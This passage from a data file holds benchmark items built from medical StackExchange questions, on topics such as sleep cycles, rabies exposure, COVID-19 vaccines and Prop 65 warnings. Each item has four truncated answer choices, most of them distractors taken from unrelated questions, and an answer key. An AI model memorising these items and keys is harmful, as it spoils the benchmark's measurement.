schedule, as shown by this WebMD article . However, be aware that due to your own circadian rhythms, that may not be the optimal pattern for you. Some of the suggestions include: Bright lights - Use bright lights around you when you first get up. Dim lights - Conversely, use dim lights in the evening. Don't lay awake - If you tend to lay awake for a while, do something else before you go to bed. Time meals - Use your meal times to help your body...", "B": "Let's get a few things out of the way... Sex is normal ( 1 ). Sexual desire and arousal are normal ( 2 ). Asexuality is normal ( 3 ). Masturbation is normal ( 4 ),( 5 ). There is no problem whatsoever with these three things, although everyone blushes when they talk about them. Is Masturbation healthy? Downsides : Masturbation is not risk free. It is about as dangerous as chewing or walking ( 6 ). Some side effects are irritated skin and ruptured penis, but only if you really, really, really overdo it (Once or twice a day...", "C": "The definition of mortality rate that you've given does not match any practical definition I'm familiar with.* When people talk about the mortality rate of a disease, what they usually mean is the case fatality rate or the death-to-case ratio , which is simply defined as N d / N i , where N d is the number of deaths attributed to the disease over a given time period and N i is the total number of new cases of the disease observed during the same time period. By this definition, the current case fatality rate of 2019-nCov according to...", "D": "I think a missing bit of information that might help you get a better sense of this practice is: steroids are miracle drugs. OK, that was in jest - no miracles here. Truth be told, though, if there is a single class of drugs that has added more quality-adjusted life-years to human history than any other, steroids must be competing with just a few antibiotic classes for that title. To make clear what we’re talking about, the term “steroid” as a label for drugs generally refers to glucocorticoids (GCs) - drugs that act like cortisol, an endogenous steroid hormone. Commonly..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://medicalsciences.stackexchange.com/questions/1101/reversing-sleep-cycle"} {"id": "medicine_1253", "domain": "medicine", "question_title": "Can an antipyretic (I.e. Aspirin) lower normal body temperature?", "question_body": "Is it possible for an antipyretic medication taken when not experiencing fever to cause a person's body temperature to drop below normal? I found one article that seems to say yes, but only for large doses (in mg/kg) in mice.", "question_score": 14, "question_tags": ["medications", "body-temperature", "anti-inflammatory"], "choices": {"A": "Assuming the person is not taking anticoagulants, it's actually quite difficult to bleed to death from dismemberment of small members (hands, feet, penis, ears, nose, etc). Even large members such as arms and legs are often survivable because the body is very good at protecting itself from blood loss. For example, transected arteries will spasm and clamp off blood flow, and loss of blood will cause the body to divert blood flow away from the extremities and to the vital organs, thereby slowing the bleeding and allowing it to clot. In fact, the whole shock process can be viewed as...", "B": "The MSDS linked to is for a product sold as a solution of 10% SM-102 in 90% chloroform. It's listed as \"SM-102\" because that's the interesting/useful thing that the company is selling. It's common for chemicals to be sold packaged with solvents to make a solution. Sometimes that solvent is just water, but if the product is not water-soluble in sufficient concentrations then other solvents may be necessary. Alcohol solutions are quite common, but for more hydrophobic chemicals it may be necessary to use more \"exotic\" solvents. Because chloroform is quite a dangerous chemical for people to be exposed to...", "C": "In general, the benefit of flu shots is to the general population. Taking the cited value of 40%-60% from the CDC, we can say that it might be a coin toss for you personally to be protected from influenza by the shot. However, if many thousands of people take the flu shot, even if it only works on 40% of them, it helps protect the remaining population from the spread of the virus (AKA herd immunity). This is especially important to those within the population who cannot access the shot or cannot receive it due to a preexisting medical condition....", "D": "It is not possible. The regulation of human body temperature (thermoregulation) is very subtle. Wikipedia article about thermoregulation contains a very nice graph about that mechanism. The labels are not described in the text in detail and the reference in the caption does not include this picture. Picture is a work by one JW Dietrich and I also searched PubMed for this guy, but he has no works on this topic. Another more pragmatic picture is here. Fever or increased body temperature is almost solely caused by to the production prostaglandin E2 (PGE2) . PGE2 acts on the hypothalamus or..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://medicalsciences.stackexchange.com/questions/1253/can-an-antipyretic-i-e-aspirin-lower-normal-body-temperature"} {"id": "medicine_1879", "domain": "medicine", "question_title": "Laptops in the dark and miscalculating bats: how dangerous is that for rabies?", "question_body": "A few nights ago, during a township-wide power failure, I was using my laptop outside in the dark. Because mine was one of very few lights for many acres, a more than usual number of moths and other insects were flying around in the light it was emitting, but unfortunately I didn't think anything about this from a bat's perspective. Suddenly (and incredibly silently) something flew into my face, completely blocking my vision momentarily. I thought at first that it was a giant moth, but it was too fast for a moth, and besides, it flew away immediately. But it took a few moments to realize that it was the wing of a flying bat that had basically hit me in the face. I had no scratches, no blood, didn't feel any fluid when it hit me, and I washed myself well. About 15 years ago, I was exposed to the saliva of a known rabid animal and had completed a post-exposure prophylaxis series of 5 vaccines as well as getting a rabies immune globulin shot, so I wasn't overly concerned. * I know that any significant first exposure to a potentially rabid animal, or a possible rabies-vector (bats, raccoons, skunks, foxes, etc.) merits a visit to an emergency room and immunization. But what about this situation? Are there clear guidelines about post-exposure prevention in people who have been previously immunized? * From that night on, when using my laptop outside at night, I make sure to turn on an outdoor light brighter than my computer screen.", "question_score": 14, "question_tags": ["infectious-diseases", "rabies"], "choices": {"A": "I think a missing bit of information that might help you get a better sense of this practice is: steroids are miracle drugs. OK, that was in jest - no miracles here. Truth be told, though, if there is a single class of drugs that has added more quality-adjusted life-years to human history than any other, steroids must be competing with just a few antibiotic classes for that title. To make clear what we’re talking about, the term “steroid” as a label for drugs generally refers to glucocorticoids (GCs) - drugs that act like cortisol, an endogenous steroid hormone. Commonly...", "B": "This event occurred in the US. In the US, enzootic (dog-to-dog) canine rabies virus has been virtually eliminated through vaccination and stray control programs, making wild animals the primary concern. It is quite true, as @EMT_Jedi stated, that rabies is usually caused by an animal's saliva, usually introduced by a bite (e.g. rabid cats, raccoons, etc.) However, this is not true of bat-related rabies. There is reason to be vaccinated after any strange contact with a bat. The most dangerous and common route of rabies exposure is from the bite of a rabid mammal. An exposure to rabies also might...", "C": "In general, the benefit of flu shots is to the general population. Taking the cited value of 40%-60% from the CDC, we can say that it might be a coin toss for you personally to be protected from influenza by the shot. However, if many thousands of people take the flu shot, even if it only works on 40% of them, it helps protect the remaining population from the spread of the virus (AKA herd immunity). This is especially important to those within the population who cannot access the shot or cannot receive it due to a preexisting medical condition....", "D": "The short version is that in 2016 the polio vaccine changed. A more thorough explanation requires some background on the immunology of polio and its vaccines, which is not straightforward. Polio virus is usually harmless, it reproduces in the gut and spreads through a fecal-oral route. In ~99% of infections it only causes mild diarrhea. In the remaining 1% of cases, however, it gets into the bloodstream and from there enters nerves, causing paralysis and/or respiratory failure. There are two types of vaccine: inactivated polio vaccine (IPV) and oral polio vaccine (OPV). IPV is a shot of killed virus particles..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://medicalsciences.stackexchange.com/questions/1879/laptops-in-the-dark-and-miscalculating-bats-how-dangerous-is-that-for-rabies"} {"id": "medicine_23059", "domain": "medicine", "question_title": "If a SARS-CoV-2 asymptomatic infected individual is exposed to a high viral load, could they develop COVID-19 disease?", "question_body": "I would add my own research if I could to respect site rules, but I can't. There are no studies on SARS-CoV-2, all I can find is for SARS-CoV-1 and some Chinese information based studies. My government is planning to do massive testing (when tests are available) and transfer and isolate every asymptomatic person in buildings such as hotels. The right is in arms saying this is like gulags and saying now they don't want to do the test. My question, I hope generically, is: if someone is infected but asymptomatic, could the exposure to a high virus load lead to COVID-19 disease? Or conversely: if your immune system is already coping well with the virus, the addition of more virus load can't worsen your diagnosis.", "question_score": 14, "question_tags": ["covid-19", "infection", "virus", "infectious-diseases", "sars-cov-2"], "choices": {"A": "What your government is proposing is a lot less than what was actually done in China. There, and perhaps that is still the case, large numbers of asymptomatic infected people were housed together in halls with only social separation between them, and masks to prevent others from infecting others. Your government is proposing to house the asymptomatic infected in hotels, presumably in separate rooms. We know that people who are infected because they have virus identified using PCR swabs of their upper airways. CT scans can show pulmonary lesions present even without cough or fever. And even speaking can aerosolize...", "B": "Because leprosy and multiple myeloma are conditions for which other treatment options are limited. All treatments have side effects, some more debilitating than others. The trick with pharmacology is to balance the benefit of treatment with the hazards of the side effects. Take cancer chemotherapy. The drugs we use for cancer chemotherapy are horrible poisons. We literally use derivatives of chemical weapons to treat cancer. Why do we deliberately poison cancer patients with what amounts to a weapon of mass destruction? Because if we don't, the cancer will kill them. In pharmacology there's a concept of a therapeutic window ....", "C": "Short answer: Sophie Trudeau's positive test may still mean 3 : 1 odds of not having contracted Covid-19, but the odds could also be far more towards having Covid-19. Justin Trudeau's negative test almost certainly means he was negative when tested. Of course, should Sophie be positive, that may have changed by now. Update: I found a web page of the FDA listing tests that have this Emergency Use Approval . Each of them has manufacturer instuctions that list their test results towards the end. Some of the submitted test results use ≈100 negative samples in the clinical evaluation. But...", "D": "Ear tubes do many things to help ear infections. The most important things they do are draining the ear of fluid and ventilating the ear. Overall, this will help your child hear better. The tubes also stop fluid from building up behind the ear drum, which should help prevent the ear infections. Stuff to watch out for There is always the possibility of ear infections coming back after the 6-12 months that the tubes will be in. There is also a minor chance of hearing loss because of scarring of the ear drum. The tube can become blocked, stopping it..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://medicalsciences.stackexchange.com/questions/23059/if-a-sars-cov-2-asymptomatic-infected-individual-is-exposed-to-a-high-viral-load"} {"id": "medicine_23323", "domain": "medicine", "question_title": "A cheap and easy inactivated vaccine for COVID-19", "question_body": "Suppose a person with COVID-19 coughs into a bag. Let the bag sit in the sun for, say, 72 hours -- so as to make the virus inactive . Could a healthy person breathe in the inactivated virus from the bag (perhaps done multiple times) to (eventually) trigger an antibody response to the virus? Is this a known way to make inactivated vaccines ? Has it been studied, perhaps for other viruses? Are there known reasons why this would not work?", "question_score": 14, "question_tags": ["covid-19", "virus", "vaccination", "infectious-diseases", "antibodies"], "choices": {"A": "The only approved inhaled vaccine is the flu vaccine delivered intra-nasally. It uses a live attenuated virus. There are a whole list of people who should not receive it because it's a live virus, and it works better for children, but only is 40% effective for adults. The main issue is The intranasal LAIV, recommended for children above the age of 2 years, induces a broader immune response wherein protection is not antibody mediated and probably involves undefined multiple correlates of protection. and that's with a live virus. How well would a dead inhaled virus work? Well, we have some...", "B": "This event occurred in the US. In the US, enzootic (dog-to-dog) canine rabies virus has been virtually eliminated through vaccination and stray control programs, making wild animals the primary concern. It is quite true, as @EMT_Jedi stated, that rabies is usually caused by an animal's saliva, usually introduced by a bite (e.g. rabid cats, raccoons, etc.) However, this is not true of bat-related rabies. There is reason to be vaccinated after any strange contact with a bat. The most dangerous and common route of rabies exposure is from the bite of a rabid mammal. An exposure to rabies also might...", "C": "It turns out the answer to this is fairly simple, and but not terribly easy to find. In the 1800s a Belgian named Adolphe Quetelet (1796–1874) performed some statistics on the weights and heights of people in Europe and Britain (chiefly France and Britain) and published his seminal work, Sur l'homme et le développement de ses facultés, ou Essai de physique sociale (Treatise on Man and the Development of his Faculties, or Essays on Social Physics) in 1835. The relevant section for this can be found as a PDF for free (I believe) at the Wiley Publishing journal Obesity Research...", "D": "Because leprosy and multiple myeloma are conditions for which other treatment options are limited. All treatments have side effects, some more debilitating than others. The trick with pharmacology is to balance the benefit of treatment with the hazards of the side effects. Take cancer chemotherapy. The drugs we use for cancer chemotherapy are horrible poisons. We literally use derivatives of chemical weapons to treat cancer. Why do we deliberately poison cancer patients with what amounts to a weapon of mass destruction? Because if we don't, the cancer will kill them. In pharmacology there's a concept of a therapeutic window ...."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://medicalsciences.stackexchange.com/questions/23323/a-cheap-and-easy-inactivated-vaccine-for-covid-19"} {"id": "medicine_24071", "domain": "medicine", "question_title": "Why use a placebo in some potential COVID-19 vaccine trials?", "question_body": "With potential COVID-19 vaccine trials beginning around the globe, one vaccine approach is to induce the creation of antibodies in the participants. The first phase of the trial will check whether the vaccine candidate induces the creation of antibodies to kill the coronavirus that causes COVID-19, and whether it provokes any serious adverse side effects. Either the potential vaccine or a placebo will be given to participants. Two doses of COVAX-19, or a placebo, will be injected into 40 healthy people between the ages of 18 and 65 As the aim of the trial is to check for the creation of antibodies, what is the purpose of having a placebo group? Would it be a reasonable assumption to conclude that it's biologically impossible for the antibody to be created in the participant on placebo? A standard example of the placebo effect would be in pain management - wherein participants will be given a painkiller or a sugar pill. There do exist known mechanisms for these effects, however in the case of creating an antibody - how can that be possible?", "question_score": 14, "question_tags": ["covid-19", "placebo"], "choices": {"A": "Let's get a few things out of the way... Sex is normal ( 1 ). Sexual desire and arousal are normal ( 2 ). Asexuality is normal ( 3 ). Masturbation is normal ( 4 ),( 5 ). There is no problem whatsoever with these three things, although everyone blushes when they talk about them. Is Masturbation healthy? Downsides : Masturbation is not risk free. It is about as dangerous as chewing or walking ( 6 ). Some side effects are irritated skin and ruptured penis, but only if you really, really, really overdo it (Once or twice a day...", "B": "Most dentists - for most procedures - aim for a painless experience. If there is reason to keep some pain sensation intact, the dentist will inform you, and ask at appropriate intervals if you can feel pain. The efficacy of lidocaine and other local anesthetics depends on how closely your nerve distribution comes to the norm (they will inject the environs of the \"normal\" anatomical position of the nerve), how much anesthetic is injected, whether there are local factors which alter the local tissue pH (e.g. presence of an abscess or infection), how quickly it is removed from the site,...", "C": "The definition of mortality rate that you've given does not match any practical definition I'm familiar with.* When people talk about the mortality rate of a disease, what they usually mean is the case fatality rate or the death-to-case ratio , which is simply defined as N d / N i , where N d is the number of deaths attributed to the disease over a given time period and N i is the total number of new cases of the disease observed during the same time period. By this definition, the current case fatality rate of 2019-nCov according to...", "D": "People could develop antibodies from natural exposure to the virus. The vaccine is trying to cause antibodies to exist in more people (and/or more strongly) than would express them naturally, therefore a good comparison group is a sample taken randomly in the same way as those getting the vaccine: a placebo group. At the same time, these trials tend to assess safety outcomes; again, to assess safety you want to know that effects are no worse than those in some comparison population. Comparing to placebo is typically a gold standard for this comparison. You're right that a placebo wouldn't be..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://medicalsciences.stackexchange.com/questions/24071/why-use-a-placebo-in-some-potential-covid-19-vaccine-trials"} {"id": "medicine_31192", "domain": "medicine", "question_title": "Rapid Response COVID-19 Antigen Test: What can be assumed by the control bar?", "question_body": "Rapid COVID-19 antigen tests include a control line similar to this: From Case Western Reserve rapid testing instruction available here . What does the control bar/strip control for? All the chemicals required to test for COVID are present in acceptable concentrations. If there is COVID on the swab this test will show it. Other Indicators that should be present when the swab is correctly done have been identified. You have correctly swabbed and if you have COVID this test will show it. Both. This test is in good standing condition and you have properly swabbed. If you have COVID this will show it. Since this test was distributed to the general public and there was little to no information about what the control bar/strip meant or did in the included documentation I was under the impression that option 3 was the most probable. *All statements above assume no false positives or false negatives which I know can happen.", "question_score": 14, "question_tags": ["covid-19", "test"], "choices": {"A": "Your explanation numbered 1 is correct. The control line indicates that the antibodies required to detect the SARS-CoV-2 (the virus that causes COVID-19) particles have reached that location on the test strip. Each product is slightly different, but the Rapid Response package insert notes: Anti-SARS-CoV-2 antibodies are immobilized on the test region of the nitrocellulose membrane. Anti-SARS-CoV-2 antibodies conjugated to coloured particles are immobilized on the conjugated pad. A sample is added to the extraction buffer which is optimized to release the SARS-CoV-2 antigens from specimen. During testing, the extracted antigens bind to anti-SARS-CoV-2 antibodies conjugated to coloured particles. As...", "B": "It turns out the answer to this is fairly simple, and but not terribly easy to find. In the 1800s a Belgian named Adolphe Quetelet (1796–1874) performed some statistics on the weights and heights of people in Europe and Britain (chiefly France and Britain) and published his seminal work, Sur l'homme et le développement de ses facultés, ou Essai de physique sociale (Treatise on Man and the Development of his Faculties, or Essays on Social Physics) in 1835. The relevant section for this can be found as a PDF for free (I believe) at the Wiley Publishing journal Obesity Research...", "C": "I think a missing bit of information that might help you get a better sense of this practice is: steroids are miracle drugs. OK, that was in jest - no miracles here. Truth be told, though, if there is a single class of drugs that has added more quality-adjusted life-years to human history than any other, steroids must be competing with just a few antibiotic classes for that title. To make clear what we’re talking about, the term “steroid” as a label for drugs generally refers to glucocorticoids (GCs) - drugs that act like cortisol, an endogenous steroid hormone. Commonly...", "D": "This event occurred in the US. In the US, enzootic (dog-to-dog) canine rabies virus has been virtually eliminated through vaccination and stray control programs, making wild animals the primary concern. It is quite true, as @EMT_Jedi stated, that rabies is usually caused by an animal's saliva, usually introduced by a bite (e.g. rabid cats, raccoons, etc.) However, this is not true of bat-related rabies. There is reason to be vaccinated after any strange contact with a bat. The most dangerous and common route of rabies exposure is from the bite of a rabid mammal. An exposure to rabies also might..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://medicalsciences.stackexchange.com/questions/31192/rapid-response-covid-19-antigen-test-what-can-be-assumed-by-the-control-bar"} {"id": "medicine_16", "domain": "medicine", "question_title": "Dietary Factors for Calcium Oxalate Kidney Stones", "question_body": "Is there any evidence that diet factors play a big role in the creation of calcium oxalate kidney stones? Some doctors and other sources recommend cutting out coffee, tea, soft drinks, and dietary calcium to reduce the risk of stones. Other sources seem to recommend cutting out dietary items that increase oxalate levels. It seems that scientists have a good understanding of how kidneys function, yet there doesn't seem to be a consensus for dietary recommendations for these types of stones. The most obvious answer would seem to be water consumption. The less water one consumes, the less dilute the urine in the kidney becomes.", "question_score": 13, "question_tags": ["renal", "urology", "kidney-stones"], "choices": {"A": "There is evidence that neonatal circumcision saying that the benefits of circumcision outweigh the risks. According to a study done on neonatal circumcision [1] , the lifetime benefits of being circumcised outweighed the risks 100 to 1. Some of the risks people may associate with circumcision are very unlikely. Excessive bleeding only happens 0.1% of the time, infections 0.02% of the time, and loss of penis 0.0001% of the time. The percentage of death is only 0.00001%. Overall, it shows that males who have been circumcised require half as much medical attention as males who have not been circumcised. Also,...", "B": "I'm guessing the \"iron\" test was actually a hemoglobin test (though I'm certainly no expert in blood donation screens...). I suspect your nurse is reporting a folk tale rather than any true difference. Unfortunately, medical professionals are not always an excellent source of scientific knowledge. I looked for papers that have actually compared measurements in the two hands. Here's one: Patel, A. J., Wesley, R., Leitman, S. F., & Bryant, B. J. (2013). Capillary versus venous haemoglobin determination in the assessment of healthy blood donors. Vox sanguinis, 104(4), 317–323. https://doi.org/10.1111/vox.12006 Capillary fingerstick samples were assayed by HemoCue in 150 donors....", "C": "I think a missing bit of information that might help you get a better sense of this practice is: steroids are miracle drugs. OK, that was in jest - no miracles here. Truth be told, though, if there is a single class of drugs that has added more quality-adjusted life-years to human history than any other, steroids must be competing with just a few antibiotic classes for that title. To make clear what we’re talking about, the term “steroid” as a label for drugs generally refers to glucocorticoids (GCs) - drugs that act like cortisol, an endogenous steroid hormone. Commonly...", "D": "Background Most kidney stones (~80%) are calcium stones, and the majority of those are primarily composed of calcium oxalate. Oxalate (C 2 O 4 2− ) is a dianion that combines with divalent cations such as magnesium and calcium. The magnesium salt is much more soluble than the calcium salt. Because these cations compete for binding to oxalate, both lower magnesium levels and higher calcium levels will tend to cause precipitation (movement out of solution into crystalline form) of calcium oxalate. When this happens in the urine in large enough quantities, it can form “stones.” Does diet matter? As introduced..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://medicalsciences.stackexchange.com/questions/16/dietary-factors-for-calcium-oxalate-kidney-stones"} {"id": "medicine_316", "domain": "medicine", "question_title": "What are pros and cons of different approaches to aborting ventricular tachycardia?", "question_body": "Idiopathic (or spontaneous, unknown origin) ventricular tachycardia is a type of ventricular tachycardia (VT) that occurs in patients with structurally normal hearts. I would like to know what the pros and cons are of the three main corrective actions physicians seem to prefer: Verapamil : This seems like the drug of choice, but it tends to cause a drop in blood pressure (BP). If the patient already has a low BP (even if merely because of being young and fit), providers may be reluctant to give this drug fearing a significant drop in BP. Amiodarone : This is a drug with significant toxicity that stays in your system for a long time ( weeks to months ). Defibrillation : Assuming the patient returns to normal rhythm after the treatment and is not conscious when delivered, it seems to have less side effects than the drugs. I have looked around and have not found any negative long term side effects, but short term ( seconds to minutes ) there are some risks. My research so far is inconclusive on what the least harmful long term impact of the three are. I am pretty sure Amiodarone should be a last choice, but unsure about the other two. What are the pros and cons of these treatment options that a patient diagnosed with idiopathic VT should understand?", "question_score": 13, "question_tags": ["cardiology", "research", "treatment-options"], "choices": {"A": "Let's get a few things out of the way... Sex is normal ( 1 ). Sexual desire and arousal are normal ( 2 ). Asexuality is normal ( 3 ). Masturbation is normal ( 4 ),( 5 ). There is no problem whatsoever with these three things, although everyone blushes when they talk about them. Is Masturbation healthy? Downsides : Masturbation is not risk free. It is about as dangerous as chewing or walking ( 6 ). Some side effects are irritated skin and ruptured penis, but only if you really, really, really overdo it (Once or twice a day...", "B": "I think a missing bit of information that might help you get a better sense of this practice is: steroids are miracle drugs. OK, that was in jest - no miracles here. Truth be told, though, if there is a single class of drugs that has added more quality-adjusted life-years to human history than any other, steroids must be competing with just a few antibiotic classes for that title. To make clear what we’re talking about, the term “steroid” as a label for drugs generally refers to glucocorticoids (GCs) - drugs that act like cortisol, an endogenous steroid hormone. Commonly...", "C": "Please see the following society guidelines first: The 2006 American College of Cardiology/American Heart Association/European Society of Cardiology (ACC/AHA/ESC) guidelines: ●There is evidence and/or general agreement supporting RF ablation in patients with symptomatic idiopathic VT that is drug-refractory, or in such patients who are intolerant of drugs or do not desire long-term drug therapy. ●The weight of evidence and/or opinion supports the use of beta blockers and/or calcium channel blockers for the treatment of symptomatic idiopathic VT. ●The weight of evidence and/or opinion supports the use of class IC antiarrhythmic drugs as an alternative to or in combination with beta...", "D": "In the blister shown, the likelihood of rupture is decreased because of the thickness of the epidermis on the palm of the hand, so you can leave it alone until the underlying area re-epithelializes. You'll know this is happening because of the decreased pain and the slow reabsorption of the fluid. Eventually you will just peal it off what's left of the blister, finding clean new skin underneath. But this is a great starting point for an answer about the treatment of blisters in general: is it better to leave them alone, drain the fluid, or de-roof them (take the..."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://medicalsciences.stackexchange.com/questions/316/what-are-pros-and-cons-of-different-approaches-to-aborting-ventricular-tachycard"} {"id": "medicine_755", "domain": "medicine", "question_title": "Can I hear ultrasounds?", "question_body": "I have noticed that every time I am in the same room as an operating ultrasound machine, I can hear it. And not the machine making noises, but the actual ultrasounds (I know because it decreases in intensity after the gel is added). 'Ultrasound' refers to sound waves with a frequency too high for humans to hear (Wikipedia). Except, it seems, for me. Simply, my question is, \"Is this normal?\"", "question_score": 13, "question_tags": ["hearing", "medical-device", "ultrasounds"], "choices": {"A": "It is likely you are not hearing the ultrasound itself (typical frequencies are upwards of 1 MHz , far beyond what the human hearing system is capable of detecting). You are probably hearing coil whine from the electronics -- switched-mode power supplies in particular tend to operate towards the upper end of the hearing range, and the intensity of this sound changes as the power consumption does (eg. when the imaging system goes from \"idle\" to \"active\").", "B": "Most dentists - for most procedures - aim for a painless experience. If there is reason to keep some pain sensation intact, the dentist will inform you, and ask at appropriate intervals if you can feel pain. The efficacy of lidocaine and other local anesthetics depends on how closely your nerve distribution comes to the norm (they will inject the environs of the \"normal\" anatomical position of the nerve), how much anesthetic is injected, whether there are local factors which alter the local tissue pH (e.g. presence of an abscess or infection), how quickly it is removed from the site,...", "C": "The MSDS linked to is for a product sold as a solution of 10% SM-102 in 90% chloroform. It's listed as \"SM-102\" because that's the interesting/useful thing that the company is selling. It's common for chemicals to be sold packaged with solvents to make a solution. Sometimes that solvent is just water, but if the product is not water-soluble in sufficient concentrations then other solvents may be necessary. Alcohol solutions are quite common, but for more hydrophobic chemicals it may be necessary to use more \"exotic\" solvents. Because chloroform is quite a dangerous chemical for people to be exposed to...", "D": "People could develop antibodies from natural exposure to the virus. The vaccine is trying to cause antibodies to exist in more people (and/or more strongly) than would express them naturally, therefore a good comparison group is a sample taken randomly in the same way as those getting the vaccine: a placebo group. At the same time, these trials tend to assess safety outcomes; again, to assess safety you want to know that effects are no worse than those in some comparison population. Comparing to placebo is typically a gold standard for this comparison. You're right that a placebo wouldn't be..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://medicalsciences.stackexchange.com/questions/755/can-i-hear-ultrasounds"} {"id": "medicine_839", "domain": "medicine", "question_title": "What do blood pressure readings indicate?", "question_body": "I have heard 120 by 80 is considered normal blood pressure. What do these numbers indicate? I am not a science student. Please explain in non-complicated language.", "question_score": 13, "question_tags": ["blood-pressure", "cardiology", "biological-parameter"], "choices": {"A": "I would like to add a brief answer in common language. The heart is a pump which pushes blood into the arteries in pulsatile manner (pushes out blood with each heart beat). As the blood is pushed in the arteries, the pressure rises to a peak called systolic pressure, which is usually around 120 mm Hg. As the heart's main chamber (left ventricle) relaxes, the pressure tends to fall. But fall in pressure is arrested by closure of a valve called aortic valve. Further fall in pressure occurs by flow of blood to peripheral tissues. The lowest limit to which...", "B": "I think a missing bit of information that might help you get a better sense of this practice is: steroids are miracle drugs. OK, that was in jest - no miracles here. Truth be told, though, if there is a single class of drugs that has added more quality-adjusted life-years to human history than any other, steroids must be competing with just a few antibiotic classes for that title. To make clear what we’re talking about, the term “steroid” as a label for drugs generally refers to glucocorticoids (GCs) - drugs that act like cortisol, an endogenous steroid hormone. Commonly...", "C": "Great question! I think it's answerable as an overview, but please know this is only the tip of the iceberg.* Summary : Yes, we have deficits of certain blood products in certain locations at certain times that affect patient care. However, a small percentage of blood product does expire unused (because it wasn't the right product [see background] in the right place at the right time). A little background Donated blood is not usually transfused into a patient as whole blood. Instead, it's broken down into several components which are transfused in different clinical scenarios. The issues of storage and...", "D": "I'm guessing the \"iron\" test was actually a hemoglobin test (though I'm certainly no expert in blood donation screens...). I suspect your nurse is reporting a folk tale rather than any true difference. Unfortunately, medical professionals are not always an excellent source of scientific knowledge. I looked for papers that have actually compared measurements in the two hands. Here's one: Patel, A. J., Wesley, R., Leitman, S. F., & Bryant, B. J. (2013). Capillary versus venous haemoglobin determination in the assessment of healthy blood donors. Vox sanguinis, 104(4), 317–323. https://doi.org/10.1111/vox.12006 Capillary fingerstick samples were assayed by HemoCue in 150 donors...."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://medicalsciences.stackexchange.com/questions/839/what-do-blood-pressure-readings-indicate"} {"id": "medicine_1263", "domain": "medicine", "question_title": "Safety of using a luggage with the prop. 65 warning", "question_body": "I recently bought a luggage set from Nautica and it came with a \"California 65 warning: This product contains chemicals known to the state of California to cause cancer and/or birth defects or other reproductive harm.\" Is it safe to use? I won't \"eat\" the luggage or anything similar, but is it possible to be affected just by being in contact with it? I know that many products receive this warning in California, but it doesn't specify how carcinogen it is.", "question_score": 13, "question_tags": ["cancer"], "choices": {"A": "There is evidence that neonatal circumcision saying that the benefits of circumcision outweigh the risks. According to a study done on neonatal circumcision [1] , the lifetime benefits of being circumcised outweighed the risks 100 to 1. Some of the risks people may associate with circumcision are very unlikely. Excessive bleeding only happens 0.1% of the time, infections 0.02% of the time, and loss of penis 0.0001% of the time. The percentage of death is only 0.00001%. Overall, it shows that males who have been circumcised require half as much medical attention as males who have not been circumcised. Also,...", "B": "Products high in calcium and magnesium should not be taken at the same time as antibiotics of the tetracycline (tetracycline, doxicycline, etc.) class, and milk should also be avoided with the quinolone class. They have the ability to bind the antibiotic in the gut, decreasing absorption. There is no reason to avoid dairy products while taking other antibiotics (such as the penicillin class, the one you're taking. The clavulanic acid is to increase it's strength against certain bacteria.) If the antibiotic package insert (or the pharmacists's instruction sheet) states it should be taken on an empty stomach, take it with...", "C": "The potential health risks of sunscreen include: The absence of UVA filters combined with a longer exposure time of the sunscreen user 1995 , 2005 , 2007 , 2007 . Suppression of the skin's production of melanin, a natural broad-spectrum photoprotectant 1995 , 2004 . Skin penetration (free radical generation) by sunscreen chemicals 1996 , 1997 , 2006 , 2007 . Cytotoxic and carcinogenic effects of nanoparticles (zinc oxide (ZnO) and titanium dioxide (TiO2) toxicity) 1999 . However TGA study from 2006 ( PDF ) concluded: There is evidence from isolated cell experiments that zinc oxide and titanium dioxide can...", "D": "A California Proposition 65 warning doesn't really tell you anything about the safety of the luggage. Proposition 65 requires warnings if somebody may be exposed to a substance that has a 1 in 100,000 chance of causing cancer over the course of 70 years, or has the possibility of causing birth defects or reproductive harm, as determined by the California Office of Environmental Health Hazard Assessment . However, there is nothing preventing warnings even if there is no risk whatsoever. Proposition 65 permits members of the general public to sue over missing warnings, and California has a cottage industry of..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://medicalsciences.stackexchange.com/questions/1263/safety-of-using-a-luggage-with-the-prop-65-warning"} {"id": "medicine_1320", "domain": "medicine", "question_title": "Why is it so much harder to swallow pills than it is to swallow food?", "question_body": "I don't have any real trouble swallowing pills, and I do it several times a day. But when I try to swallow a pill without food or water in my mouth, it is a bit tricky. We're not talking about huge horse pills either, just regular, relatively small pills. I can swallow a whole raw oyster, which is the size of hundreds of pills combined, but a single little capsule or tablet is too much for me to consume without food or water? It feels like I am struggling to convince my tongue and throat to cooperate with me, and they don't trust my judgment in choosing what I should and shouldn't swallow. What is going on here? Is there some sort of physiological explanation for this? Note: I am fully aware that my tongue and throat don't have minds of their own, and are incapable of trusting or mistrusting me. I am merely trying to explain what it feels like.", "question_score": 13, "question_tags": ["medications"], "choices": {"A": "It is not possible. The regulation of human body temperature (thermoregulation) is very subtle. Wikipedia article about thermoregulation contains a very nice graph about that mechanism. The labels are not described in the text in detail and the reference in the caption does not include this picture. Picture is a work by one JW Dietrich and I also searched PubMed for this guy, but he has no works on this topic. Another more pragmatic picture is here. Fever or increased body temperature is almost solely caused by to the production prostaglandin E2 (PGE2) . PGE2 acts on the hypothalamus or...", "B": "The human (and other animals) upper digestive tract is 'designed' to ingest relatively large (compared to most pills), soft, moist boluses. The muscles of the 